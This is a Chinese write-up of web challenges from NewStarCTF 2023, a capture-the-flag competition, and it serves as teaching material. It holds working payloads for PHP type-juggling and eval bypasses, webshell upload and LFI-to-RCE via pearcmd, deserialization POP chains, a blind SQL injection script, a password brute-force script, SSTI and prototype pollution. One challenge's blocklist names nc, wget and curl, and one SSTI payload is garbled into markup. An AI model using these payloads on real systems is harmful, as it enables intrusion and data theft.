📕 WriteUp
Search
K
Comment on page

NewStarCTF 2023

Web

[Week 1]泄漏的秘密

通过使用 dirsearch 扫描可以得到两个文件可访问 robots.txtwww.zip
robots.txt 内容如下
PART ONE: flag{r0bots_1s_s0_us3ful
www.zip/index.php 内容如下
<?php
$PART_TWO = "_4nd_www.zip_1s_s0_d4ng3rous}";
echo "<h1>粗心的管理员泄漏了一些敏感信息,请你找出他泄漏的两个敏感信息!</h1>";
即可得到 flag 如下
flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}

[Week 1]Begin of Upload

通过查看源代码可以发现使用的是前端过滤,通过在浏览器中禁止 JavaScript 后即可直接上传 shell 文件。
通过蚁剑一把梭即可得到 flag(文件在 /fllll4g)。
flag{1b60e33c-182d-4a44-901a-549b43a7a66e}

[Week 1]Begin of HTTP

0x00 GET

请使用 GET方式 来给 ctf 参数传入任意值来通过这关
通过 param 传入 ctf 参数即可,如下
http://node4.buuoj.cn:29844/?ctf=123

0x01 POST

很棒,如果我还想让你以POST方式来给我传递 secret 参数你又该如何处理呢?
如果你传入的参数值并不是我想要的secret,我也不会放你过关的 或许你可以找一找我把secret藏在了哪里
查看源代码可以发现
<!-- Secret: base64_decode(bjN3c3Q0ckNURjIwMjNnMDAwMDBk) -->
通过 base64 解密可以得到 Secret 值为 n3wst4rCTF2023g00000d ,通过 body 传入即可。
secret=n3wst4rCTF2023g00000d
很强,现在我需要验证你的 power 是否是 ctfer ,只有ctfer可以通过这关
通过设置 Cookie 如下
Cookie: power=ctfer

0x03 User-Agent

你已经完成了本题过半的关卡,现在请使用 NewStarCTF2023浏览器 来通过这关!
通过设置 User-Agent 如下
User-Agent: NewStarCTF2023

0x04 Referer

希望你是从 newstarctf.com 访问到这个关卡的
通过设置 Referer 如下
Referer: newstarctf.com

0x05 X-Real-Ip

最后一关了!只有 本地用户 可以通过这一关
通过设置 X-Real-Ip 如下
X-Real-Ip: 127.0.0.1
就可以得到 flag 了。

[Week 1]ErrorFlask

通过题目得知需要从 Flask 中的报错中寻找答案,网页回显如下
give me number1 and number2,i will help you to add
通过输入字符串类型的值即可得到报错,Payload 如下
?number1=a&number2=b
得到回显后点击 return "not ssti,flag in source code~"+str(int(num1)+int(num2)) 即可得到 flag ,不方便复制可以 F12 来复制。
flag = "flag{Y0u_@re_3enset1ve_4bout_deb8g}"

[Week 1]Begin of PHP

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}
if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}
if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}
if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}
if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}

0x00 Level 1

md5 绕过,可以通过数组进行绕过,Payload 如下
key1[]=1&key2[]=2

0x01 Level 2

md5 === sha1 绕过,同样可以通过数组进行绕过,Payload 如下(Level 5 中不允许 POST 的值出现任何数字或字母)
key3[]=@

0x02 Level 3

strcmp 函数绕过,同样可以通过数组进行绕过,Payload 如下
key1[]=1&key2[]=2&key4[]=4

0x03 Level 4

is_numeric 函数绕过,将 key5 设置为 2024a(任意字符) 即可,Payload 如下
key1[]=1&key2[]=2&key4[]=4&key5=2024a

0x04 Level 5

extract($_POST); 函数相当于 $name = $_POST['name']
通过发现缺少了 flag5 变量,说明就需要通过以上方法来造出 flag5,又因为 POST 的值出现任何数字或字母,根据在 PHP 中,只要字符串不为空即为 True 的特性,故 Payload 如下
key3[]=@&flag5=@
即可得到 flag。

[Week 1]R!C!E!

<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
if(substr($password,0,6)==="c4d038"){
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
}
}
本题需要知道 GET 或 POST 变量名中的非法字符会转化下划线,即 $_POST['e_v.a.l'] 需要通过 e[.v.a.l 来传入。
并且题目中还存在一个 password,该参数会进行 md5 加密并对比前 6 位需要与 c4d038 一致,可以通过写脚本进行爆破。
import hashlib
for i in range(0, 99999999):
if hashlib.md5(str(i).encode(encoding='utf-8')).hexdigest()[:6] == "c4d038":
print(i)
break
# 114514
题目还对部分常见的恶意函数进行了过滤,但是可以通过 反引号 来执行 shell 命令,也可以通过 反斜杠 来进行绕过,Payload 如下
password=114514&e[v.a.l=echo `l\s /`;
可以得到回显如下
bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var
构造 Payload 如下即可得到 flag
password=114514&e[v.a.l=echo `tac /fl\ag`;

[Week 1]EasyLogin

随意注册一个账号后登录会进入终端,但在 BurpSuite 中可以发现还有一个特别的请求如下
POST /passport/f9e41a08a6eb869b894f509c4108adcf2213667fe2059d896886c5943156c7bc.php
该请求的回显如下
<!-- 恭喜你找到flag -->
<!-- flag 为下方链接中视频简介第7行开始至第10行的全部小写字母和数字 -->
<!-- https://b23.tv/BV1SD4y1J7uY -->
<!-- 庆祝一下吧! -->
很显然,点进去一看是个诈骗 flag,继续研究终端的 JavaScript 源码发现这个终端是个虚假的终端,但在其中还能发现一个 admin 账号,并且存在一个提示 Maybe you need BurpSuite. ,看来用 bp 这方向没错,那就开始爆破寻找 admin 账号的密码。
从图中已知输入的密码会进行 md5 加密,通过编写 Python 脚本进行爆破,我这里爆破用的是 rockyou.txt ,可以在 Kali 中找到。
import requests
with open('/usr/share/wordlists/rockyou.txt', 'r', encoding='latin-1') as file:
for line in file:
line = line.strip()
data = {"un": "admin", "pw": f"{hashlib.md5(str(line).encode(encoding='utf-8')).hexdigest()}", "rem": "0"}
ret = requests.post('http://node4.buuoj.cn:25956/signin.php', data=data)
if 'div class="alert alert-success show' in ret.text:
print(line)
break
# 000000
通过将得到的密码手动再进行一次登录操作,就可以得到 flag 了。

[Week 2]include 0。0

file=php://filter/read=convert.%2562ase64-encode/resource=flag.php

[Week 2]Unserialize?

unser=O:4:"evil":1:{s:3:"cmd";s:35:"c\at /th1s_1s_fffflllll4444aaaggggg";}

[Week 2]Upload again!

.htaccess 绕过、<? 绕过

<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

[Week 2]R!!C!!E!!

/bo0g1pop.php?star=eval(array_rand(array_flip(getallheaders())));
User-Agent: system("cat /flag");

[Week 2]游戏高手

进入 Console
gameScore=999999999999999
运行玩游戏直接白给就可以得到 flag 了。

[Week 2]ez_sql

$ python sqlmap.py -u http://ba57bf2c-be27-41e7-b824-792bf7347c7f.node4.buuoj.cn:81/?id=TMP0919 -D ctf --tables --dump-all
可以爆破数据库名字为 ctf ,表名 here_is_flag ,字段名 flag ,以及 flag。

[Week 3]Include 🍐

这题考察的是 LFI to RCE。
打开页面源代码如下
<?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];
if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}
include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>
通过构造 payload 如下
file=phpinfo
可以发现 env 存在属性 FLAG 值为 fake{Check_register_argc_argv} ,通过查看属性 register_argc_argv 可以发现值为 On
https://cloud.tencent.com/developer/article/2204400
register_argc_argv 告诉PHP是否声明了 argvargc 变量,这些变量可以是 POST 信息、也可以是 GET 信息,设置为 TRUE 时,能够通过 CLI SAPI 持续读取 argc 变量(传递给应用程序的若干参数)和 argv 变量(实际参数的数组),当我们使用 CLI SAPI 时,PHP变量 argc 和 argv 会自动填充为合适的值,并且可以在SERVER数组中找到这些值,比如 $_SERVER['argv'] 。
当构造 payload a=a+b+c 的时候,可以通过 var_dump($_SERVER['argv']); 输出 array(1){[0]=>string(3)"a=a" [1]=>string(1)"b" [2]=>string(1)"c"} ,即通过 + 作为分割符。
通过构造 payload 如下
file=/usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_POST[1])?>+./1.php
可以得到回显如下
Successfully created default configuration file "/var/www/html/1.php"
通过访问 1.php ,并构造 payload 如下即可得到 flag。
1=system("cat /flag");

[Week 3]medium_sql

根据题目描述可以得出需要进行一些绕过,先查看那些关键词被过滤了。
过滤关键词:union、# ,发现回显只有 id not exists 还有 ID 正确时的输出,故尝试布尔注入,经测试 select、or、where、ascii 需要进行大小写绕过。
import requests
import time
target = "http://c14df6c5-9f87-4cfa-bd7a-9dd3bca93bf4.node4.buuoj.cn:81/"
def getDataBase(): # 获取数据库名
database_name = ""
for i in range(1, 1000): # 注意是从1开始,substr函数从第一个字符开始截取
low = 32
high = 127
mid = (low + high) // 2
while low < high: # 二分法
params = {
"id": "TMP0919' And (Ascii(suBstr((sElect(database()))," + str(i) + ",1))>" + str(mid) + ")%23"
}
time.sleep(0.1)
r = requests.get(url=target+'?id='+params["id"])
if "Physics" in r.text: # 为真时说明该字符在ascii表后面一半
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if low <= 32 or high >= 127:
break
database_name += chr(mid) # 将ascii码转换为字符
print(database_name)
return "数据库名:" + database_name
def getTable(): # 获取表名
column_name = ""
for i in range(1, 1000):
low = 32
high = 127
mid = (low + high) // 2
while low < high:
params = {
"id": "TMP0919' And (Ascii(suBstr((sElect(group_concat(table_name))from(infOrmation_schema.tables)wHere(table_schema='ctf'))," + str(
i) + ",1))>" + str(mid) + ")%23"
}
time.sleep(0.1)
r = requests.get(url=target + '?id=' + params["id"])
if "Physics" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if low <= 32 or high >= 127:
break
column_name += chr(mid)
print(column_name)
return "表名为:" + column_name
def getColumn(): # 获取列名
column_name = ""
for i in range(1, 250):
low = 32
high = 127
mid = (low + high) // 2
while low < high:
params = {
"id": "TMP0919' And (Ascii(suBstr((sElect(group_concat(column_name))from(infOrmation_schema.columns)wHere(table_name='here_is_flag'))," + str(
i) + ",1))>" + str(mid) + ")%23"
}
time.sleep(0.1)
r = requests.get(url=target + '?id=' + params["id"])
if 'Physics' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if low <= 32 or high >= 127:
break
column_name += chr(mid)
print(column_name)
return "列名为:" + column_name
def getFlag(): # 获取flag
flag = ""
for i in range(1, 1000):
low = 32
high = 127
mid = (low + high) // 2
while low < high:
params = {
"id": "TMP0919' And (Ascii(suBstr((sElect(group_concat(flag))from(here_is_flag))," + str(i) + ",1))>" + str(mid) + ")%23"
}
time.sleep(0.1)
r = requests.get(url=target + '?id=' + params["id"])
if 'Physics' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if low <= 32 or high >= 127:
break
flag += chr(mid)
print(flag)
return "flag:" + flag
a = getDataBase()
b = getTable()
c = getColumn()
d = getFlag()
print(a)
print(b)
print(c)
print(d)

[Week 3]POP Gadget

源代码
<?php
highlight_file(__FILE__);
class Begin{
public $name;
public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
private $func;
public function __toString()
{
($this->func)();
return "Good Job!";
}
}
class Handle{
protected $obj;
public function __call($func, $vars)
{
$this->obj->end();
}
}
class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;
public function end()
{
unset($this->handle->log);
}
}
class WhiteGod{
public $func;
public $var;
public function __unset($var)
{
($this->func)($this->var);
}
}
@unserialize($_POST['pop']);
POP链如下
Begin::__destruct()->Then::__toString()->Super::__invoke()->Handle::__call($func, $vars)->CTF::end()->WhiteGod::__unset($var)
构造 Payload 过程如下
<?php
highlight_file(__FILE__);
class Begin{
public $name;
public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
private $func;
public function __construct($super)
{
$this->func = $super;
}
public function __toString()
{
($this->func)();
return "Good Job!";
}
}
class Handle{
protected $obj;
public function __construct($ctf)
{
$this->obj = $ctf;
}
public function __call($func, $vars)
{
$this->obj->end();
}
}
class Super{
protected $obj;
public function __construct($handle)
{
$this->obj = $handle;
}
public function __invoke()
{
$this->obj->getStr();
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;
public function end()
{
unset($this->handle->log);
}
}
class WhiteGod{
public $func;
public $var;
public function __unset($var)
{
($this->func)($this->var);
}
}
@unserialize($_POST['pop']);
$begin = new Begin();
$ctf = new CTF();
$handle = new Handle($ctf);
$super = new Super($handle);
$begin->name = new Then($super);
$ctf->handle = new WhiteGod();
$ctf->handle->func = "system";
$ctf->handle->var = "cat /flag";
echo urlencode(serialize($begin));
// O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3Bs%3A3%3A%22var%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D%7D%7D%7D%7D

[Week 3]GenShin

通过查看 Network - Headers 可以发现 Pop 属性值为 /secr3tofpop ,通过访问可以得到回显如下
please give a name by get
通过构造 Payload 如下
name=123
可以得到回显如下
Welcome to NewstarCTF 2023 123
猜测应该是 Python 的 SSTI 注入,通过构造 Payload 如下
name={{7*7}}
得到回显如下
big hacker!get away from me!
尝试另外一种 Payload 如下
name=<div data-gb-custom-block data-tag="print" data-0='7' data-1='7' data-2='7' data-3='7'></div>
可以得到回显如下
Welcome to NewstarCTF 2023 49
故判断可以通过此方法继续进行 SSTI 注入,通过尝试各种关键字可以发现 单引号, init, lipsum, url_for, 反斜杠, popen 被过滤了。
通过构造 Payload 如下
name=
<div data-gb-custom-block data-tag="print" data-0=''></div>
可以输出所有的子类,被过滤的关键字可以通过 |attr() 进行绕过,由于直接使用 eval 无法使用 chr 函数,因此需要通过在里面多套一层 eval 来实现,由于已经存在单双引号了,所以就直接全用 chr 函数来实现注入吧,生成脚本如下
string = "__import__('os').popen('cat /flag').read()"
output = ""
for char in string:
output += f"chr({ord(char)})%2b"
print(output)
"""
chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41)
"""
构造 Payload 如下
name=
<div data-gb-custom-block data-tag="print" data-0='' data-1='' data-2='132' data-3='132' data-4='132' data-5='132' data-6='132' data-7='132' data-8='132' data-9='132' data-10='132' data-11='132' data-12='132' data-13='132' data-14='132' data-15='2' data-16='__in' data-17='__in' data-18='+' data-19=')|attr(' data-20='__globals__' data-21='))[' data-22='__builtins__' data-23='].eval(' data-24='95' data-25='95' data-26='95' data-27='95' data-28='95' data-29='5' data-30='2' data-31='2' data-32='2' data-33='95' data-34='95' data-35='95' data-36='5' data-37='2' data-38='2' data-39='2' data-40='105' data-41='105' data-42='5' data-43='2' data-44='2' data-45='2' data-46='109' data-47='109' data-48='9' data-49='2' data-50='2' data-51='2' data-52='112' data-53='112' data-54='12' data-55='2' data-56='2' data-57='2' data-58='111' data-59='111' data-60='11' data-61='2' data-62='2' data-63='2' data-64='114' data-65='114' data-66='14' data-67='2' data-68='2' data-69='2' data-70='116' data-71='116' data-72='16' data-73='2' data-74='2' data-75='2' data-76='95' data-77='95' data-78='95' data-79='5' data-80='2' data-81='2' data-82='2' data-83='95' data-84='95' data-85='95' data-86='5' data-87='2' data-88='2' data-89='2' data-90='40' data-91='40' data-92='40' data-93='0' data-94='2' data-95='2' data-96='2' data-97='39' data-98='39' data-99='39' data-100='9' data-101='2' data-102='2' data-103='2' data-104='111' data-105='111' data-106='11' data-107='2' data-108='2' data-109='2' data-110='115' data-111='115' data-112='15' data-113='2' data-114='2' data-115='2' data-116='39' data-117='39' data-118='39' data-119='9' data-120='2' data-121='2' data-122='2' data-123='41' data-124='41' data-125='41' data-126='1' data-127='2' data-128='2' data-129='2' data-130='46' data-131='46' data-132='46' data-133='6' data-134='2' data-135='2' data-136='2' data-137='112' data-138='112' data-139='12' data-140='2' data-141='2' data-142='2' data-143='111' data-144='111' data-145='11' data-146='2' data-147='2' data-148='2' data-149='112' data-150='112' data-151='12' data-152='2' data-153='2' data-154='2' data-155='101' data-156='101' data-157='1' data-158='2' data-159='2' data-160='2' data-161='110' data-162='110' data-163='10' data-164='2' data-165='2' data-166='2' data-167='40' data-168='40' data-169='40' data-170='0' data-171='2' data-172='2' data-173='2' data-174='39' data-175='39' data-176='39' data-177='9' data-178='2' data-179='2' data-180='2' data-181='99' data-182='99' data-183='99' data-184='9' data-185='2' data-186='2' data-187='2' data-188='97' data-189='97' data-190='97' data-191='7' data-192='2' data-193='2' data-194='2' data-195='116' data-196='116' data-197='16' data-198='2' data-199='2' data-200='2' data-201='32' data-202='32' data-203='32' data-204='2' data-205='2' data-206='2' data-207='2' data-208='47' data-209='47' data-210='47' data-211='7' data-212='2' data-213='2' data-214='2' data-215='102' data-216='102' data-217='2' data-218='2' data-219='2' data-220='2' data-221='108' data-222='108' data-223='8' data-224='2' data-225='2' data-226='2' data-227='97' data-228='97' data-229='97' data-230='7' data-231='2' data-232='2' data-233='2' data-234='103' data-235='103' data-236='3' data-237='2' data-238='2' data-239='2' data-240='39' data-241='39' data-242='39' data-243='9' data-244='2' data-245='2' data-246='2' data-247='41' data-248='41' data-249='41' data-250='1' data-251='2' data-252='2' data-253='2' data-254='46' data-255='46' data-256='46' data-257='6' data-258='2' data-259='2' data-260='2' data-261='114' data-262='114' data-263='14' data-264='2' data-265='2' data-266='2' data-267='101' data-268='101' data-269='1' data-270='2' data-271='2' data-272='2' data-273='97' data-274='97' data-275='97' data-276='7' data-277='2' data-278='2' data-279='2' data-280='100' data-281='100' data-282='0' data-283='2' data-284='2' data-285='2' data-286='40' data-287='40' data-288='40' data-289='0' data-290='2' data-291='2' data-292='2' data-293='41' data-294='41' data-295='41' data-296='1'></div>
即可得到 flag。

[Week 3]R!!!C!!!E!!!

源代码如下
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}
通过 exec 方法可以执行系统命令,因此这题也考的是 Linux 的命令绕过。
由于引号没有进行绕过,所以可以通过引号进行关键字的绕过,构造 Payload 过程如下
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}
$pop = new minipop();
$pop->qwejaskdjnlka = new minipop();
$pop->qwejaskdjnlka->code = "cat /flag_is_h3eeere | t''ee 2";
echo serialize($pop);
// O:7:"minipop":2:{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:30:"cat /flag_is_h3eeere | t''ee 2";s:13:"qwejaskdjnlka";N;}}
即可得到 flag。

[Week 3]OtenkiGirl

源代码中存在 hint.txt 内容如下
『「routes」フォルダーだけを見てください。SQLインジェクションはありません。』と御坂御坂は期待に満ちた気持ちで言った。
---
“请只看‘routes’文件夹。没有SQL注入。”御坂御坂满怀期待地说。
routes/info.js 可以发现该路由用于根据所给的 timestamp 输出该时间戳之后的所有内容。
async function getInfo(timestamp) {
timestamp = typeof timestamp === "number" ? timestamp : Date.now();
// Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
return data;
}
在输入 timestamp 后,上述方法会将所输入的 timestamp 与 min_public_time 进行对比,其中 CONFIG.min_public_time 值不存在,DEFAULT_CONFIG.min_public_time 值为 2019-07-09 ,因此需要通过污染 min_public_time 属性才能使其输出 2019-07-09 之前的数据。
minTimestamp 首先会从 CONFIG 中获取 min_public_time ,获取失败后继续再从 DEFAULT_CONFIG 中获取,二者的原型对象都是 Object
routes/submit.js 中可以发现原型链污染点:
// L39
const merge = (dst, src) => {
if (typeof dst !== "object" || typeof src !== "object") return dst;
for (let key in src) {
if (key in dst && key in src) {
dst[key] = merge(dst[key], src[key]);
} else {
dst[key] = src[key];
}
}
return dst;
}
// L73
const DEFAULT = {
date: "unknown",
place: "unknown"
}
const result = await insert2db(merge(DEFAULT, data));
在上述代码中,data 的值是可控的,能够通过 POST 请求传入。DEFAULT 的原型对象也是 Object ,因此可以通过 submit 路由来进行污染攻击。
构造 Payload 如下
{
"contact":"a's'd",
"reason":"a'd's",
"__proto__": {
"min_public_time": "1970-01-01"
}
}
通过访问 /info/0 可以得到回显得到 flag 。